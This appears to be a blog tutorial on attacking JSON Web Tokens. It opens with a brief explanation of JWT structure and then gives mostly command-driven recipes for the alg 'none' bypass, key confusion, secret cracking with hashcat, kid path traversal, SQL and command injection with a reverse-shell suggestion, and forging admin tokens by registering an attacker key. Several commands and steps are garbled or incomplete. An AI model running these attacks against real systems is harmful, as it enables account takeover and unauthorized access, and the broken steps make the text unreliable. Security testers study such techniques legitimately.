BOOK THIS SPACE FOR AD
ARTICLE ADhello everyone,
This ahmed tarek and today i’m gonna talk about jwt hacking
JSON Web Token (JWT) is a widely used standard for securely exchanging information between parties, commonly applied in authorization processes. JWT is compact, readable, and digitally signed using a private or public key pair by the Identity Provider (IdP), allowing the integrity and authenticity of the data to be verified by other parties involved.
JWT serves primarily to ensure data authenticity rather than conceal data, as it is signed and encoded but not encrypted. It operates as a stateless, client-side authentication mechanism that relieves the server of storing session data.
A JWT consists of three elements:
Header: Specifies the token type and signing algorithm. Typical algorithms include HMAC, SHA256, RSA, HS256, and RS256.Payload: Contains user-related information such as user ID, username, role, and custom claims.Signature: The key component of JWT, generated by encoding the header and payload with Base64url Encoding and concatenating them with a period (.). The Identity Provider uses a private key to create this signature, preventing unauthorized token tampering.Format:
header.payload.signatureEncryptionJWT can be generated using symmetric or asymmetric encryption:
Symmetric Encryption: Utilizes a single key for both creation and verification. The HS256 algorithm is commonly used.Asymmetric Encryption: Requires a public key for verification and a private key for signing, with RS256 as the most frequent algorithm.JWT headers can include several optional parameters that may pose security risks if improperly handled:
Key ID (kid): Identifies a specific key in the filesystem or database for signature validation. If injectable, an attacker could reference a known file.jku: Specifies a URL that refers to a set of keys for token validation, which attackers could manipulate if improperly controlled.jwk: Allows embedding the key directly within the token, potentially enabling an attacker to introduce malicious keys.x5u and x5c: Provide public key certificates or certificate chains within the token, with x5u as a URI and x5c embedding data directly.x5t: Contains a Base64url-encoded SHA-256 thumbprint of the X.509 certificate, analogous to the key identifier or kid claim.Several claims in the payload are integral to JWT’s security:
jti: Prevents replay attacks by adding a unique identifier.iss: Identifies the token issuer.iat: Specifies the token issuance time.nbf: Indicates the time before which the JWT is invalid.exp: Sets the token’s expiration time.aud: Identifies the intended audience.A typical JWT authentication workflow includes the following steps:
The user authenticates with credentials or a third-party identity provider like Google or Facebook.The authentication server validates the credentials and issues a JWT, signed using either a secret or a private key.The client passes the JWT in the HTTP Authorization header to access protected resources.The resource server verifies the token’s authenticity using the shared secret or public key.GitHub — ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens
GitHub — mazen160/jwt-pwn: Security Testing Scripts for JWT
GitHub — brendan-rius/c-jwt-cracker: JWT brute force cracker written in C
GitHub — jmaxxz/jwtbrute: Brute forcing jwt tokens signed with HS256 since 2014
GitHub — Sjord/jwtcrack: Crack the shared secret of a HS256-signed JWT
Finding JWT Tokens:
JWT tokens can be discovered by searching for them in the proxy history using regular expressions.Common regular expressions to find JWT tokens:"[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*""[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*"
Identify a Test Page:
Locate a request to a page that utilizes JWT tokens and provides clear responses depending on token validity.A profile page is a good candidate to start with.Verify Token Validity:
Send the request to the repeater and check if the same token works again. If not, the token might have expired.Once confirmed, you can proceed with testing various attack methods.Turn on intercept in Burp Suite and log in to the web application.Forward the request until you get the JWT token.Switch to the JSON Web Token Tab ( burp extension ).Inspect the payload section for any sensitive information, such as user details.If sensitive information is found in the payload, it’s a security concern as JWT tokens are often not encrypted, and the information could be easily decoded.
Turn on intercept in Burp Suite and log in to the web application.Forward the request until you capture the JWT token.Switch to the JSON Web Token Tab or JOSEPH (which also supports bypass).Modify the alg value from its current algorithm (e.g., RS256) to none: {"alg": "none",
"typ": "JWT"
}Remove the signature or set it to empty:"signature": ""Forward the request to complete the attack.Turn on intercept in Burp Suite and log in to the web application.Forward the request to capture the JWT token.Execute the following command to generate bypass payloads, replacing <JWT> with the captured JWT token:python3 jwt_tool.py <JWT> -X aTest different payloads generated by the tool by inserting them into the request.If one of the payloads works, use that token to proceed.Turn on intercept in Burp Suite and log in to the web application.Forward the request until you capture the JWT token.Get the Public key from the application (e.g., pubkey.pem file) using the following commands:openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
or
oopenssl s_client -connect zonksec.com:443 | openssl x509 -pubkey -nooutUse the following command to generate a JWT token:python3 jwt_tool.py <JWT> -S hs256 -k pubkey.pemUse the generated token in the request and try changing the payload.Forward the request to complete the attack.This will work when the web app supports both algorithms.
Turn on intercept in Burp Suite and log in to the web application.Forward the request until you capture the JWT token.Switch to the JSON Web Token Tab or JOSEPH.Modify the payload section and remove the signature completely, or change some characters in the signature.Forward the request to complete the attack.Turn on intercept in Burp Suite and log in to the web application.Forward the request until you capture the JWT token.If the JWT-Heartbreaker Plugin is installed, weak secret keys will be shown directly.Or you can Copy the JWT token and store it in a text file, then use Hashcat to crack the secret key:hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --forcehashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --show # to display the cracked secret keyYou can also use JWT_Tool to crack the secret key:python3 jwt_tool.py <JWT> -C -d secrets.txtUse the cracked secret key to forge a new JWT token and forward the request.Turn on intercept in Burp Suite and log in to the web application.Forward the request until you capture the JWT token.If there is a kid in the header section of the JWT token, forge a new JWT token using JWT_Tool:python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""Alternatively, use the content of any file in the web root, such as CSS or JS, to validate the signature:python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"Manipulate the payload section and use the generated token in the request.Forward the request to complete the attack.
SQL Injection via kid
Turn on intercept in Burp Suite and log in to the web application.Forward the request until you capture the JWT token.Switch to the JSON Web Token Plugin tab and manipulate the kid field with an SQLi payload:python3 jwt_tool.py <JWT> -I -pc name -pv "admin' ORDER BY 1--" -S hs256 -k public.pemForward the request and escalate the SQLi further.Command Injection via kid
Turn on intercept in Burp Suite and log in to the web application.Forward the request until you capture the JWT token.Switch to the JSON Web Token Plugin tab and manipulate the kid field with a command injection payload:kid: key.crt; whoami && python -m SimpleHTTPServer 1337 &Use the forged JWT token in the request.Check if you can connect to the server on port 1337 or use a reverse shell payload to verify if you get a connection back.Done!JSON Set URL (jku):
Turn Intercept on in Burp Suite and log in to the web application.Forward the request until you capture the JWT token.Decode the JWT token and check if it contains the jku attribute in the Header section.Generate your Public and Private Key pair using the following commands:openssl genrsa -out keypair.pem 2048openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.keyThis will generate publickey.crt (Public Key) and pkcs8.key (Private Key).Use jwt.io and paste the public key (publickey.crt) and the private key (attacker.key) in their respective places in the “Decoded” section.Host the generated certificate locally and modify the jku header parameter accordingly.Retrieve the jwks.json file from the URL present in the jku header claim:wget http://example.com:8000/jwks.jsonCreate a Python script getPublicParams.py:from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print "n:", hex(key.n)
print "e:", hex(key.e)
x5u Claim Misuse:
Note: The algorithm used for signing the token is “RS256”.
The token uses the x5u header parameter, which contains the location of the X.509 certificate to be used for token verification.
x5c Claim Misuse:
Note: The algorithm used for signing the token is “RS256”.
The token uses the x5c header parameter, which contains the X.509 certificate to be used for token verification. The token has various fields: n, e, x5c, x5t, kid. Also, the kid value is equal to the x5t value.
In this attack, the vulnerability lies in poor management of JWT public keys, allowing attackers to register their own keys. By adding a public key to the target’s keystore, attackers can then forge tokens with admin privileges using their private key. This enables unauthorized access to restricted resources, like an admin panel or other high-privilege endpoints.
Start by locating the target’s IP and active services to identify potential endpoints for JWT handling:nmap -sS -sV -p 8080 192.108.121.3This reveals that a Python-based HTTP service is running on port 8080, which might be hosting the vulnerable API.Use curl to interact with available endpoints, like /issue for token issuance or /register for key registration."iss": "witrap.com",
"admin": "false",
"user": "elliot",
"exp": "1575184862",
"iat": "1575098462"
}Here, we know the token is signed using RS256 (an asymmetric signing algorithm), meaning it requires the private key of the issuer (witrap.com) for signing and a corresponding public key for verification.
The critical vulnerability lies in the key management system:
The public keys used to verify the JWTs are stored in a database or file system that is accessible or modifiable by the attacker.The system may allow public key registration. If accessible, attackers can register their public key, which the server will later use for JWT verification. This opens the door to signing tokens with a private key and gaining admin access.If the public key management API allows users to register keys, this is where the exploitation occurs:
Using openssl, create a key pair for signing and verification:openssl genpkey -algorithm RSA -out private_key.pem openssl rsa -pubout -in private_key.pem -out public_key.pemConvert the public key into a format that can be registered:cat public_key.pem | tr '\n' ';' | sed 's/;/\\n/g'Convert the public key to a format suitable for the request and register it:curl -X POST -H "Content-Type: application/json" http://192.108.121.3:8080/register -d '{"username": "elliot", "publickey": " - - -BEGIN PUBLIC KEY - - -\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0QGTnBy7zWx..."}'Now, the system associates your public key with the username elliot.With the attacker’s public key now in the database, you can forge a valid JWT token using your private key. Modify the payload to include an “admin”: “true” claim, effectively impersonating an admin.
Use a JWT library (e.g., PyJWT in Python) to create an admin token. Key details include setting "admin": "true" in the payload and signing with the private key.
Sample Python code to create a signed JWT:
import jwtprivate_key = open("private_key.pem").read()
payload = {
"iss": "attacker.com",
"admin": "true",
"user": "elliot",
"exp": 1700000000
}
forged_token = jwt.encode(payload, private_key, algorithm="RS256")
print(forged_token)
Send the forged token to an admin-only endpoint, such as /goldenticket:
curl -X POST -H "Content-Type: application/json" -d '{"token": "<forged_token>"}' http://192.108.121.3:8080/goldenticketIf successful, the server will issue the golden ticket, which is typically a privileged access token or admin access to the application.